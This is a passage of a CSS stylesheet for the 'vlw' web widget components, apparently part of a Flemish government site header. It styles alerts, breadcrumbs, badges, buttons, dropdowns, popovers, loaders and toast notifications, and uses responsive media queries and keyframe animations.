      .vlw .vlw__alert--success .vlw__alert__icon {
        background: #8bae00;
      }

      .vlw .vlw__alert__badge {
        margin-right: 5px;
        flex: 0 0 26px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__alert__badge {
          flex: 0 0 20px;
          margin-left: 5px;
        }
      }

      .vlw .vlw__alert__message:not(:last-child) {
        margin-right: 10px;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__alert__message p {
          font-size: 12px;
          line-height: 1;
        }
      }

      .vlw .vlw__alert__cta {
        flex: 0 0 auto;
      }

      .vlw .vlw__breadcrumb {
        display: flex;
        height: 100%;
        padding-left: 10px;
      }

      .vlw .vlw__breadcrumb__list {
        display: flex;
        height: auto;
        align-items: center;
        flex-wrap: wrap;
      }

      .vlw .vlw__breadcrumb__list__item {
        position: relative;
        display: flex !important;
        align-items: center;
        min-height: 43px;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__breadcrumb__list__item:not(:first-of-type) {
          display: none;
        }
      }

      .vlw .vlw__breadcrumb__list__item:not(:last-of-type) {
        margin-right: 10px;
      }

      .vlw .vlw__breadcrumb__list__item__separator {
        display: flex;
        align-items: center;
        margin-right: 10px;
      }

      .vlw .vlw__breadcrumb__list__item__separator__icon {
        width: 14px;
        height: 14px;
        fill: #cbd2da;
      }

      .vlw .vlw__breadcrumb__list__item__cta {
        display: inline-block;
        align-items: center;
        height: 100%;
        line-height: 28px;
        cursor: pointer;
        max-width: 200px;
        white-space: nowrap;
        overflow: hidden;
        text-overflow: ellipsis;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__breadcrumb__list__item__cta {
          font-size: 14px;
          max-width: 150px;
        }
      }

      .vlw .vlw__breadcrumb__list__item.vlw__js-breadcrumb-item--collapsed .vlw__breadcrumb__list__item__cta {
        display: block;
        white-space: nowrap;
        overflow: hidden;
        text-overflow: ellipsis;
        width: 0.7rem;
      }

      .vlw .vlw__breadcrumb__list__item__dropdown {
        margin-right: -8px;
      }

      .vlw .vlw__breadcrumb__list__item__dropdown__toggle {
        display: flex;
        height: 28px;
        align-items: center;
        padding-left: 9px;
        padding-top: 1px;
        padding-right: 9px;
        fill: #333332;
        background: none;
        border: none;
        cursor: pointer;
      }

      .vlw .vlw__breadcrumb__list__item__dropdown__toggle:hover,
      .vlw .vlw__breadcrumb__list__item__dropdown__toggle:focus {
        fill: #0055CC;
      }

      .vlw .vlw__breadcrumb__list__item__dropdown__toggle__icon {
        width: 10px;
        height: 10px;
        fill: inherit;
      }

      .vlw-breadcrumb-item-transition-enter-active,
      .vlw-breadcrumb-item-transition-leave-active {
        transition: opacity 0.2s, transform 0.4s;
      }

      .vlw-breadcrumb-item-transition-enter,
      .vlw-breadcrumb-item-transition-leave-to {
        opacity: 0;
        transform: translateY(-10px) translateZ(0);
      }

      @media screen and (max-width: 500px) {

        .vlw-breadcrumb-item-transition-enter,
        .vlw-breadcrumb-item-transition-leave-to {
          transform: translateY(20px) translateZ(0);
        }
      }

      .vlw .vlw__action-group {
        display: flex;
      }

      .vlw .vlw__action-group .vlw__button:not(:last-child),
      .vlw .vlw__action-group .vlw__link:not(:last-child) {
        margin-right: 15px;
      }

      .vlw .vlw__action-group--align-center {
        align-items: center;
      }

      .vlw .vlw__action-group--align-end {
        align-items: flex-end;
      }

      .vlw .vlw__alert-tile {
        border: 1px #e8ebee solid;
        background: #f1f2f4;
        padding: 15px;
        display: flex;
        width: 100%;
        flex: 1 0 auto;
      }

      .vlw .vlw__alert-tile--success {
        background: #f7fae5;
      }

      .vlw .vlw__alert-tile--success .vlw__alert-tile__svg {
        fill: #8bae00;
      }

      .vlw .vlw__alert-tile--warning {
        background: #fef9e5;
      }

      .vlw .vlw__alert-tile--warning .vlw__alert-tile__svg {
        fill: #ffc515;
      }

      .vlw .vlw__alert-tile--error {
        background: #fbe6e6;
      }

      .vlw .vlw__alert-tile--error .vlw__alert-tile__svg {
        fill: #db3434;
      }

      .vlw .vlw__alert-tile__svg {
        flex: 0 0 18px;
        width: 18px;
        height: 18px;
        margin-right: 15px;
      }

      .vlw .vlw__alert-tile__content {
        line-height: 1.2;
        font-size: 14px;
      }

      .vlw .vlw__alert-tile__title {
        font-size: 16px;
        font-weight: 500;
        line-height: 1.2;
      }

      .vlw .vlw__badge {
        display: inline-block;
        vertical-align: middle;
        width: 60px;
        height: 60px;
        flex-grow: 0;
        flex-shrink: 0;
        position: relative;
        color: #666;
        fill: #666;
        background: #fff;
        border-radius: 100%;
      }

      .vlw .vlw__badge::before {
        content: attr(data-initials);
        position: absolute;
        display: block;
        top: 50%;
        transform: translate(0, -50%);
        -ms-transform: translate(0, -50%);
        left: 0;
        right: 0;
        width: 100%;
        text-align: center;
        font-size: 24px;
        color: #333332;
        text-transform: uppercase;
        font-weight: 500;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge::before {
          font-size: 20px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__badge::before {
          font-size: 15px;
        }
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge {
          width: 40px;
          height: 40px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__badge {
          width: 34px;
          height: 34px;
        }
      }

      .vlw .vlw__badge--tiny {
        width: 26px;
        height: 26px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--tiny {
          width: 20px;
          height: 20px;
        }
      }

      .vlw .vlw__badge--tiny::before {
        font-size: 14px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--tiny::before {
          font-size: 12px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__badge--tiny::before {
          font-size: 10px;
        }
      }

      .vlw .vlw__badge--tiny .vlw__badge__warning {
        width: 40px;
        height: 40px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--tiny .vlw__badge__warning {
          width: 30px;
          height: 30px;
        }
      }

      .vlw .vlw__badge--small {
        width: 43px;
        height: 43px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--small {
          width: 30px;
          height: 30px;
        }
      }

      .vlw .vlw__badge--small::before {
        font-size: 20px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--small::before {
          font-size: 14px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__badge--small::before {
          font-size: 12px;
        }
      }

      .vlw .vlw__badge--small .vlw__badge__warning {
        width: 20px;
        height: 20px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--small .vlw__badge__warning {
          width: 15px;
          height: 15px;
        }
      }

      .vlw .vlw__badge--large {
        width: 90px;
        height: 90px;
      }

      .vlw .vlw__badge--large::before {
        font-size: 36px;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__badge--large {
          width: 60px;
          height: 60px;
        }

        .vlw .vlw__badge--large::before {
          font-size: 24px;
        }
      }

      .vlw .vlw__badge--menu {
        width: 32px;
        height: 32px;
      }

      .vlw .vlw__badge--menu::before {
        font-size: 14px;
      }

      .vlw .vlw__badge--alt {
        background: #e8ebee;
      }

      .vlw .vlw__badge--accent {
        background: #FFE615;
        color: #333332;
        fill: #333332;
      }

      .vlw .vlw__badge--success {
        background: #8bae00 !important;
        color: #fff;
        fill: #fff;
      }

      .vlw .vlw__badge--success::before {
        color: #fff;
      }

      .vlw .vlw__badge--warning {
        background: #ffc515 !important;
        color: #fff;
        fill: #fff;
      }

      .vlw .vlw__badge--warning::before {
        color: #fff;
      }

      .vlw .vlw__badge--error {
        background: #db3434 !important;
        color: #fff;
        fill: #fff;
      }

      .vlw .vlw__badge--error::before {
        color: #fff;
      }

      .vlw .vlw__badge--placeholder {
        background: #fff;
        border: 2px dashed #cbd2da;
        fill: #cbd2da;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--placeholder.vlw__badge--small {
          border-width: 1px;
        }
      }

      .vlw .vlw__badge--placeholder::before {
        color: #cbd2da;
      }

      .vlw .vlw__badge--bordered {
        border: 1px solid #cbd2da;
      }

      .vlw .vlw__badge--overlap {
        margin-left: -10px;
      }

      .vlw .vlw__badge__icon {
        display: block;
        text-align: center;
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        -ms-transform: translate(-50%, -50%);
        width: 50%;
        height: 50%;
      }

      .vlw .vlw__badge__icon--large {
        width: 60%;
        height: 60%;
      }

      .vlw .vlw__badge__warning {
        display: inline-block;
        position: absolute;
        bottom: -5px;
        right: 0;
        width: 30px;
        height: 30px;
      }

      .vlw .vlw__badge--icon-stretched {
        overflow: hidden;
      }

      .vlw .vlw__badge--icon-stretched .vlw__badge__icon {
        width: 100%;
        height: 100%;
      }

      .vlw .vlw__button {
        display: inline-flex;
        align-items: center;
        background: #0055CC;
        font-size: 16px;
        color: #fff;
        text-decoration: none;
        padding: 7px 14px;
        appearance: none;
        border: 1px solid #0055CC;
        font-family: flanders-sans, sans-serif;
        cursor: default;
        border-radius: 0.3rem;
        font-weight: 500;
      }

      .vlw .vlw__button:hover {
        background: #0051C2;
        border: 1px solid #0051C2;
        color: #fff;
      }

      .vlw .vlw__button:focus {
        background: #0051C2;
        border: 1px solid #0051C2;
        color: #fff;
        box-shadow: none;
        outline: 3px solid rgba(0, 85, 204, 0.65);
        outline-offset: 2px;
      }

      .vlw .vlw__button:active {
        background: #004CB8;
        border-color: #004CB8;
        color: #fff;
      }

      .vlw .vlw__button--small {
        padding: 4px 10px;
        font-size: 14px;
      }

      .vlw .vlw__button--disabled {
        background-color: #cbd2da;
        border-color: #cbd2da;
        color: #fff;
        cursor: not-allowed;
      }

      .vlw .vlw__button--disabled:hover,
      .vlw .vlw__button--disabled:focus,
      .vlw .vlw__button--disabled:active {
        background-color: #cbd2da;
        border-color: #cbd2da;
        color: #fff;
        box-shadow: none;
      }

      .vlw .vlw__button--focus {
        outline: none;
        box-shadow: 0 0 0 2px #ffc515;
      }

      .vlw .vlw__button--focus:hover {
        outline: none;
        box-shadow: 0 0 0 2px #ffc515;
      }

      .vlw .vlw__button--secondary {
        background-color: transparent;
        color: #0055CC;
        border: 2px solid currentColor;
        transition: color 0.2s, border-color 0.2s, box-shadow 0.2s;
      }

      .vlw .vlw__button--secondary:visited {
        color: #0055CC;
      }

      .vlw .vlw__button--secondary:focus {
        color: #0055CC;
        background-color: transparent;
        border: 2px solid currentColor;
        box-shadow: none;
        outline: 3px solid rgba(0, 85, 204, 0.65);
        outline-offset: 2px;
      }

      .vlw .vlw__button--secondary:hover,
      .vlw .vlw__button--secondary:active {
        color: #0051C2;
        background-color: transparent;
        border-color: #0051C2;
        border: 2px solid;
      }

      .vlw .vlw__button--loading {
        background-color: #cbd2da;
        border-color: #cbd2da;
        position: relative;
        color: #cbd2da !important;
      }

      .vlw .vlw__button--loading:hover,
      .vlw .vlw__button--loading:focus,
      .vlw .vlw__button--loading:active {
        background-color: #cbd2da;
        border-color: #cbd2da;
        box-shadow: none;
      }

      .vlw .vlw__button--loading:hover::before,
      .vlw .vlw__button--loading:focus::before,
      .vlw .vlw__button--loading:active::before {
        background-color: #cbd2da;
      }

      .vlw .vlw__button--loading:visited {
        color: #cbd2da;
      }

      .vlw .vlw__button--loading::before {
        animation: waving-light infinite 1s linear;
        content: "";
        display: block;
        position: absolute;
        top: 50%;
        left: 50%;
        margin-top: -0.2rem;
        margin-left: -1.4rem;
        width: 0.3rem;
        height: 0.3rem;
        background-color: #cbd2da;
        border-radius: 50%;
        box-shadow: 1rem 0 #fff, 2rem 0 #fff, 3rem 0 #fff;
      }

      @keyframes waving-light {
        0% {
          box-shadow: 10px 0px #fff, 20px 0px #fff, 30px 0px #fff;
        }

        10% {
          box-shadow: 10px -3px #fff, 20px 0px #fff, 30px 0px #fff;
        }

        20% {
          box-shadow: 10px -6px #fff, 20px -3px #fff, 30px 0px #fff;
        }

        30% {
          box-shadow: 10px -3px #fff, 20px -6px #fff, 30px -3px #fff;
        }

        40% {
          box-shadow: 10px 0px #fff, 20px -3px #fff, 30px -6px #fff;
        }

        50% {
          box-shadow: 10px 0px #fff, 20px 0px #fff, 30px -3px #fff;
        }

        60% {
          box-shadow: 10px 0px #fff, 20px 0px #fff, 30px 0px #fff;
        }

        100% {
          box-shadow: 10px 0px #fff, 20px 0px #fff, 30px 0px #fff;
        }
      }

      .vlw .vlw__button[type=submit] {
        color: #fff;
        text-decoration: none;
      }

      .vlw .vlw__button[type=submit]:hover,
      .vlw .vlw__button[type=submit]:focus {
        color: #fff;
      }

      .vlw .vlw__button__icon {
        display: inline-block;
        vertical-align: middle;
        fill: #fff;
        width: 14px;
        height: 14px;
      }

      .vlw .vlw__button__icon--before {
        margin-right: 10px;
      }

      .vlw .vlw__button__icon--after {
        margin-left: 10px;
      }

      .vlw .vlw__description-data__label {
        white-space: nowrap;
        overflow: hidden;
        text-overflow: ellipsis;
      }

      .vlw .vlw__description-data__label,
      .vlw .vlw__description-data__subdata {
        display: block;
        color: #666;
        font-size: 16px;
        font-weight: 400;
      }

      .vlw .vlw__description-data__label--small,
      .vlw .vlw__description-data__subdata--small {
        color: #333332;
        font-weight: 500;
        font-size: 14px;
      }

      @media screen and (max-width: 767px) {

        .vlw .vlw__description-data__label,
        .vlw .vlw__description-data__subdata {
          font-size: 14px;
        }

        .vlw .vlw__description-data__label .vlw__link,
        .vlw .vlw__description-data__subdata .vlw__link {
          font-size: 14px;
        }
      }

      .vlw .vlw__description-data__value,
      .vlw .vlw__description-data__data {
        display: block;
        color: #666;
        font-size: 14px;
      }

      @media screen and (max-width: 767px) {

        .vlw .vlw__description-data__value,
        .vlw .vlw__description-data__data {
          font-size: 14px;
        }
      }

      .vlw .vlw__description-data__icon {
        position: absolute;
        top: -4px;
        left: 0;
        color: #cbd2da;
        font-size: 22px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__description-data__icon {
          top: -2px;
          font-size: 18px;
        }
      }

      .vlw .vlw__description-data__icon-wrapper {
        position: relative;
        padding: 0 0 0 40px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__description-data__icon-wrapper {
          padding: 0 0 0 30px;
        }
      }

      .vlw .vlw__description-data--bordered {
        border: 1px solid #cbd2da;
        border-width: 1px 0;
        padding: 10px 0;
      }

      .vlw .vlw__description-data__wrapper--alt {
        background: #fff;
        padding: 15px 0;
      }

      .vlw .vlw__dropdown__content {
        position: absolute;
        z-index: 10005;
        box-shadow: 0 6px 15px rgba(0, 0, 0, 0.15);
        width: 300px;
        max-width: 100vw;
        background: #fff;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__dropdown__content {
          box-shadow: 0 -3px 25px rgba(0, 0, 0, 0.2);
        }
      }

      .vlw .vlw__dropdown__content__layers {
        display: block;
        position: relative;
        width: 100%;
        overflow: hidden;
        min-height: 150px;
        height: 400px;
        max-height: calc(100vh - 200px);
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__dropdown__content__layers {
          max-height: 50vh;
        }
      }

      .vlw .vlw__dropdown__content__layers--has-header:after {
        display: block;
        content: "";
        position: absolute;
        z-index: -1;
        top: 0;
        left: 0;
        width: 100%;
        height: 43px;
        background: #e8ebee;
      }

      .vlw .vlw__dropdown__content__layer {
        display: flex;
        flex-direction: column;
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: #fff;
      }

      .vlw .vlw__dropdown__content__header,
      .vlw .vlw__dropdown__content__footer {
        background: #fff;
        padding: 12px 15px;
      }

      .vlw .vlw__dropdown__content__footer {
        border-top: 1px solid #cbd2da;
      }

      .vlw .vlw__dropdown__content__header {
        min-height: 43px;
        border-bottom: 1px solid #cbd2da;
      }

      .vlw .vlw__dropdown__content__header--flex {
        display: flex;
      }

      .vlw .vlw__dropdown__content__header__cta {
        position: relative;
        background: none;
        border: 0;
        height: 21px;
        fill: #333332;
        color: #0055CC;
        cursor: pointer;
      }

      .vlw .vlw__dropdown__content__header__cta:hover,
      .vlw .vlw__dropdown__content__header__cta:focus {
        fill: #0055CC;
      }

      .vlw .vlw__dropdown__content__header__cta--before {
        padding: 0;
        padding-right: 15px;
        margin-right: 15px;
      }

      .vlw .vlw__dropdown__content__header__cta--before::before {
        content: "";
        position: absolute;
        top: 1px;
        right: 0;
        height: 17px;
        background: #cbd2da;
        width: 1px;
      }

      .vlw .vlw__dropdown__content__header__cta__icon {
        width: 13px;
        height: 13px;
        fill: inherit;
      }

      .vlw .vlw__dropdown__content__header__title {
        display: flex;
        font-weight: 500;
        line-height: 1.2;
      }

      .vlw .vlw__dropdown__content__header__title__icon {
        width: 18px;
        height: 18px;
        flex: 0 0 18px;
        margin-right: 10px;
      }

      .vlw .vlw__dropdown__content__overflow {
        overflow: auto;
        max-height: 70vh;
        padding-top: 5px;
        padding-bottom: 10px;
        -webkit-overflow-scrolling: touch;
      }

      .vlw__dropdown--has-header.vlw__dropdown--has-footer .vlw .vlw__dropdown__content__overflow {
        max-height: calc(100vh - 154px);
      }

      .vlw__dropdown--has-header .vlw .vlw__dropdown__content__overflow,
      .vlw__dropdown--has-footer .vlw .vlw__dropdown__content__overflow {
        max-height: calc(100vh - 154px);
      }

      .vlw .vlw__dropdown__content__close {
        display: none;
        position: absolute;
        top: 1px;
        right: 0;
        z-index: 10006;
        padding: 15px;
        fill: #333332;
        border: 0;
        appearance: none;
        background: none;
        cursor: pointer;
        line-height: 1;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__dropdown__content__close {
          display: block;
        }
      }

      .vlw .vlw__dropdown__content__close:hover,
      .vlw .vlw__dropdown__content__close:focus {
        fill: #0055CC;
      }

      .vlw .vlw__dropdown__content__close__icon {
        width: 12px;
        height: 12px;
        fill: inherit;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__dropdown__list__item:first-of-type {
          max-width: calc(100% - 45px);
        }
      }

      .vlw .vlw__dropdown__list__item__title {
        font-size: 16px;
        padding: 8px 15px 4px;
        font-weight: 500;
      }

      .vlw .vlw__dropdown__list__item__cta {
        display: flex;
        align-items: center;
        padding: 10px 15px;
        color: #0055CC;
        text-decoration: none;
        font-size: 15px;
        line-height: 1.2;
      }

      .vlw .vlw__dropdown__list__item__cta[href]:hover,
      .vlw .vlw__dropdown__list__item__cta[href]:focus {
        color: #0055CC;
        text-decoration: underline;
        cursor: pointer;
      }

      .vlw .vlw__dropdown__list__item__cta--current {
        color: #333332;
        font-weight: 500;
      }

      .vlw .vlw__dropdown__list__item__cta__icon {
        flex: 0 0 13px;
        width: 13px;
        height: 13px;
        fill: currentColor;
      }

      .vlw .vlw__dropdown__list__item__cta__icon--large {
        flex: 0 0 16px;
        width: 16px;
        height: 16px;
      }

      .vlw .vlw__dropdown__list__item__cta__icon--before {
        margin-right: 5px;
      }

      .vlw .vlw__dropdown__list__item__cta__icon--after {
        margin-left: 5px;
      }

      .vlw .vlw__dropdown__list__item__cta__icon--light {
        fill: #666;
      }

      .vlw .vlw__dropdown__list__item__cta__badge {
        flex: 0 0 auto;
        margin-right: 7px;
      }

      .vlw .vlw__dropdown__list__separator {
        height: 1px;
        background: #e8ebee;
        margin-top: 10px;
        margin-bottom: 10px;
        width: 100%;
      }

      .vlw .vlw__icon--color-warning {
        fill: #cc6e2a;
      }

      .vlw .vlw__iframe {
        box-shadow: 0 6px 15px rgba(0, 0, 0, 0.15);
        background: #fff;
        margin: 10px;
        position: fixed;
        left: 0;
        top: 43px;
        right: 0;
        bottom: 0;
      }

      .vlw .vlw__iframe__header {
        display: flex;
        align-items: center;
        justify-content: flex-end;
        flex: 0 0 auto;
        width: 100%;
        height: 44px;
        background: #f1f2f4;
        border-bottom: 1px #cbd2da solid;
        padding: 0 0 0 15px;
        font-weight: 500;
      }

      .vlw .vlw__iframe__header__close {
        display: block;
        width: 46px;
        line-height: 1;
        padding: 15px;
      }

      .vlw .vlw__iframe__header__close--icon {
        display: block;
        fill: inherit;
      }

      .vlw .vlw__iframe__content {
        height: calc(100% - 44px);
        width: 100%;
      }

      .vlw .vlw__info-tile {
        display: flex;
      }

      .vlw .vlw__info-tile__icon {
        margin-right: 15px;
        margin-top: 3px;
      }

      .vlw .vlw__info-tile__icon__svg {
        width: 18px;
        height: 18px;
        fill: inherit;
        transition: fill 0.1s ease-in-out;
        pointer-events: none;
      }

      .vlw .vlw__info-tile__content {
        display: inline;
        background-color: transparent;
        box-shadow: inset 0 -10px 0 0 rgba(255, 230, 21, 0.3);
      }

      .vlw .vl-page {
        position: relative;
        width: 100%;
        background-color: #fff;
      }

      .vlw .vl-page .vl-main-content>.vl-region:last-child {
        padding-bottom: 10rem;
      }

      @media screen and (max-width: 767px) {
        .vlw .vl-page .vl-main-content>.vl-region:last-child {
          padding-bottom: 7rem;
        }
      }

      .vlw .vl-main-content {
        outline: none;
        position: relative;
      }

      .vlw .vl-region {
        margin: 0 auto;
        padding: 3rem 0 6rem;
      }

      @media screen and (max-width: 767px) {
        .vlw .vl-region {
          padding: 3rem 0;
        }
      }

      .vlw .vl-region.vl-region--no-space {
        padding: 0;
      }

      .vlw .vl-region.vl-region--no-space-bottom {
        padding-bottom: 0;
      }

      .vlw .vl-region.vl-region--no-space-top {
        padding-top: 0;
      }

      .vlw .vl-region:not(.vl-region--alt)+.vl-region:not(.vl-region--alt) {
        padding-top: 0;
      }

      .vlw .vl-region--alt {
        background-color: #e8ebee;
      }

      .vlw .vl-region:not(.vl-region--alt)+.vl-region--alt,
      .vlw .vl-region--alt+.vl-region:not(.vl-region--alt) {
        padding-top: 6rem;
      }

      @media screen and (max-width: 767px) {

        .vlw .vl-region:not(.vl-region--alt)+.vl-region--alt,
        .vlw .vl-region--alt+.vl-region:not(.vl-region--alt) {
          padding-top: 3rem;
        }
      }

      .vlw .vl-region:first-child {
        padding-top: 6rem;
      }

      @media screen and (max-width: 767px) {
        .vlw .vl-region:first-child {
          padding-top: 2rem;
        }
      }

      .vlw .vl-region--small {
        padding: 1.5rem 0;
      }

      @media screen and (max-width: 767px) {
        .vlw .vl-region--small {
          padding: 2rem 0;
        }
      }

      .vlw .vl-region--medium {
        padding: 3rem 0;
      }

      @media screen and (max-width: 767px) {
        .vlw .vl-region--medium {
          padding: 2rem 0;
        }
      }

      .vlw .vl-region--bordered+.vl-region--bordered {
        border-top: 1px solid #e8ebee;
      }

      .vlw .vl-region--bordered+.vl-region--bordered.vl-region--alt {
        border-top-color: #fff;
      }

      .vlw .vl-layout {
        position: relative;
        margin: 0 auto;
        min-width: 1024px;
        max-width: 1280px;
        padding: 0 3rem;
      }

      @media screen and (max-width: 1023px) {
        .vlw .vl-layout {
          width: auto;
          min-width: 768px;
          max-width: 1280px;
        }
      }

      @media screen and (max-width: 767px) {
        .vlw .vl-layout {
          width: auto;
          min-width: 0;
          padding: 0 1.5rem;
        }
      }

      .vlw .vlw__link {
        display: inline-flex;
        font-size: 16px;
        line-height: 1;
        text-decoration: underline;
        background: none;
        border: none;
        font-family: flanders-sans, sans-serif;
        cursor: pointer;
        padding: 0;
      }

      .vlw .vlw__link:hover,
      .vlw .vlw__link:focus {
        text-decoration: none;
      }

      .vlw .vlw__link:hover {
        color: #0051C2;
      }

      .vlw .vlw__link:focus,
      .vlw .vlw__link:active {
        color: #004CB8;
      }

      .vlw .vlw__link--small {
        font-size: 14px;
      }

      .vlw .vlw__link--small .vlw__link__icon {
        flex: 0 0 10px;
        width: 10px;
        height: 10px;
      }

      .vlw .vlw__link--medium {
        font-weight: 500;
      }

      .vlw .vlw__link--alt .vlw__link__icon {
        fill: #333332;
      }

      .vlw .vlw__link__label {
        text-decoration: none;
      }

      .vlw .vlw__link__annotation {
        font-size: 14px;
        font-weight: 400;
        color: #333332;
        line-height: inherit;
      }

      .vlw .vlw__link--icon,
      .vlw .vlw__link--arrow {
        display: inline-flex;
        align-items: center;
        justify-content: space-between;
      }

      .vlw .vlw__link--icon {
        justify-content: flex-start;
      }

      .vlw .vlw__link--block {
        display: flex;
        width: 100%;
      }

      .vlw .vlw__link__icon {
        flex: 0 0 14px;
        width: 14px;
        height: 14px;
        margin-right: 5px;
        fill: #0055CC;
      }

      .vlw .vlw__link__icon--before {
        margin-right: 5px;
      }

      .vlw .vlw__link__icon--after {
        margin-left: 5px;
      }

      .vlw .vlw__link__icon--alt {
        fill: #333332 !important;
      }

      .vlw .vlw__link__icon--small {
        flex: 0 0 10px;
        width: 10px;
        height: 10px;
      }

      .vlw .vlw__link__icon--large {
        flex: 0 0 18px;
        width: 18px;
        height: 18px;
      }

      .vlw .vlw__link__arrow {
        flex: 0 0 12px;
        margin-left: auto;
        fill: #000;
        width: 12px;
        height: 12px;
      }

      .vlw .vlw__loader {
        display: inline-flex;
        position: relative;
        width: 30px;
        min-height: 10px;
      }

      .vlw .vlw__loader::before {
        content: "";
        display: block;
        position: absolute;
        top: 50%;
        left: 50%;
        margin-top: -2px;
        margin-left: -24px;
        width: 4px;
        height: 4px;
        background-color: rgba(0, 0, 0, 0);
        border-radius: 50%;
        box-shadow: 10px 0px #666, 20px 0px #666, 30px 0px #666;
        animation: loader-wave infinite 1s linear;
        animation: loader-wave infinite 1s linear;
      }

      @keyframes loader-wave {
        0% {
          box-shadow: 10px 0px #666, 20px 0px #666, 30px 0px #666;
        }

        10% {
          box-shadow: 10px -3px #666, 20px 0px #666, 30px 0px #666;
        }

        20% {
          box-shadow: 10px -6px #666, 20px -3px #666, 30px 0px #666;
        }

        30% {
          box-shadow: 10px -3px #666, 20px -6px #666, 30px -3px #666;
        }

        40% {
          box-shadow: 10px 0px #666, 20px -3px #666, 30px -6px #666;
        }

        50% {
          box-shadow: 10px 0px #666, 20px 0px #666, 30px -3px #666;
        }

        60% {
          box-shadow: 10px 0px #666, 20px 0px #666, 30px 0px #666;
        }

        100% {
          box-shadow: 10px 0px #666, 20px 0px #666, 30px 0px #666;
        }
      }

      .vlw .vlw__overlay {
        position: fixed;
        z-index: 10000;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        width: 100%;
        height: 100%;
        background: rgba(232, 235, 238, 0.7);
      }

      .vlw .vlw__pill {
        display: inline-flex;
        max-width: 100%;
        align-items: center;
        background-color: #fff;
        font-size: 14px;
        font-weight: 500;
        color: #666;
        text-decoration: none;
        vertical-align: middle;
        border-radius: 3px;
        border: 1px solid #687483;
        transition: color 0.2s, background-color 0.2s, box-shadow 0.2s;
        padding: 0 8px;
        line-height: calc(24px - 2px);
        min-width: 0;
      }

      .vlw .vlw__pill__text {
        white-space: nowrap;
        overflow: hidden;
        text-overflow: ellipsis;
        width: 100%;
      }

      .vlw .vlw__pill--warning {
        background-color: #fef9e5;
        border-color: #ffc515;
      }

      .vlw .vlw__popover {
        display: inline-flex;
        position: relative;
      }

      .vlw .vlw__popover--align-right .vlw__popover__content {
        right: -18px;
      }

      .vlw .vlw__popover--align-right .vlw__popover__content .vlw__popover__arrow {
        right: 12px;
        left: auto;
      }

      .vlw .vlw__popover__content {
        position: absolute;
        z-index: 10005;
        top: calc(100% + 6px);
        display: inline-block;
        box-shadow: 0 6px 15px rgba(0, 0, 0, 0.15);
        width: 300px;
        max-width: 100vw;
        background: #fff;
      }

      .vlw .vlw__popover__content--large {
        width: 450px;
      }

      .vlw .vlw__popover__content--large .vlw__dropdown__content:before {
        border-color: transparent transparent #e8ebee transparent;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__popover__content {
          box-shadow: 0 -3px 25px rgba(0, 0, 0, 0.2);
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__popover__content {
          position: fixed;
          top: auto;
          left: 5px;
          right: 5px !important;
          bottom: 5px;
          width: calc(100% - 10px);
          max-height: 70vh;
        }
      }

      .vlw .vlw__popover__content .vlw__popover__arrow {
        display: block;
        content: "";
        position: absolute;
        left: 2px;
        top: -10px;
        border: 12px solid transparent;
        border-bottom-color: #fff;
        border-top-width: 0;
      }

      .vlw .vlw__popover__content .vlw__popover__arrow--alt {
        border-bottom-color: #e8ebee;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__popover__content .vlw__popover__arrow {
          display: none;
        }
      }

      .vlw .vlw__toasters {
        z-index: 10006;
        overflow: auto;
        max-height: 100vh;
        transition: transform 0.3s ease-in-out;
        float: right;
        position: absolute;
        right: 0;
      }

      .vlw .vlw__toaster {
        padding: 15px;
      }

      .vlw .vlw__toaster:not(:first-child) {
        padding-top: 0;
      }

      .vlw .vlw__toaster__item {
        display: flex;
        position: relative;
        width: 100%;
        max-width: 300px;
        border: 1px #cbd2da solid;
        box-shadow: 0 6px 15px rgba(0, 0, 0, 0.15);
        padding: 10px;
        background: #e8ebee;
      }

      .vlw .vlw__toaster__item:not(:last-of-type) {
        margin-bottom: 5px;
      }

      .vlw .vlw__toaster__item--success {
        background: #f7fae5;
      }

      .vlw .vlw__toaster__item--success .vlw__toaster__item__img {
        background: #8bae00;
      }

      .vlw .vlw__toaster__item--warning {
        background: #fef9e5;
      }

      .vlw .vlw__toaster__item--warning .vlw__toaster__item__img {
        background: #ffc515;
      }

      .vlw .vlw__toaster__item--error {
        background: #fbe6e6;
      }

      .vlw .vlw__toaster__item--error .vlw__toaster__item__img {
        background: #db3434;
      }

      .vlw .vlw__toaster__item__close {
        position: absolute;
        z-index: 2;
        top: 4px;
        right: 4px;
        padding: 8px;
        border: 0;
        background: none;
        fill: #333332;
        cursor: pointer;
      }

      .vlw .vlw__toaster__item__close:hover,
      .vlw .vlw__toaster__item__close:focus {
        fill: #0055CC;
      }

      .vlw .vlw__toaster__item__close__icon {
        width: 11px;
        height: 11px;
        fill: inherit;
      }

      .vlw .vlw__toaster__item__content {
        width: 100%;
      }

      .vlw .vlw__toaster__item__title {
        font-size: 16px;
        font-weight: 500;
        line-height: 1.25;
        margin-bottom: 10px;
        max-width: calc(100% - 20px);
      }

